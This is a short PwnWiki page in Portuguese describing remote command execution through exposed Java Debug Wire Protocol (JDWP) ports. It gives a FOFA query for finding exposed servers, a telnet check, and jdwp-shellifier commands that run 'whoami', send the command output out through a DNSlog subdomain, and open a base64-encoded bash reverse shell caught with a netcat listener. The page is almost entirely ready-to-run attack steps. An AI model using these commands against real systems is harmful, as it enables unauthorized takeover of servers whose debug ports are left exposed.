Vulnerabilidade de execução de comando remoto JDWP

From PwnWiki
Revision as of 12:16, 10 June 2021 by Pwnwiki (talk | contribs) (Created page with "Monitore a execução da máquina:")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎português • ‎中文(繁體)‎

FOFA

banner=”jdwp” && port="8000"

POC

telnet xxx.xxx.xxx.xxx 8000

As informações a seguir são retornadas, indicando que a vulnerabilidade existe. Mas observe que, em alguns casos, ele pode ser usado com sucesso sem qualquer eco.

JDWP-Handsharke

EXP

https://github.com/IOActive/jdwp-shellifier

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"


Use Dnslog para ecoar:

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping http://.`whoami`.yoww7w.dnslog.cn"


Getshell

python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvfrV2L3RjcC8xOTIgrth4LjE4NS42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"

Monitore a execução da máquina:

nc -lvp 8888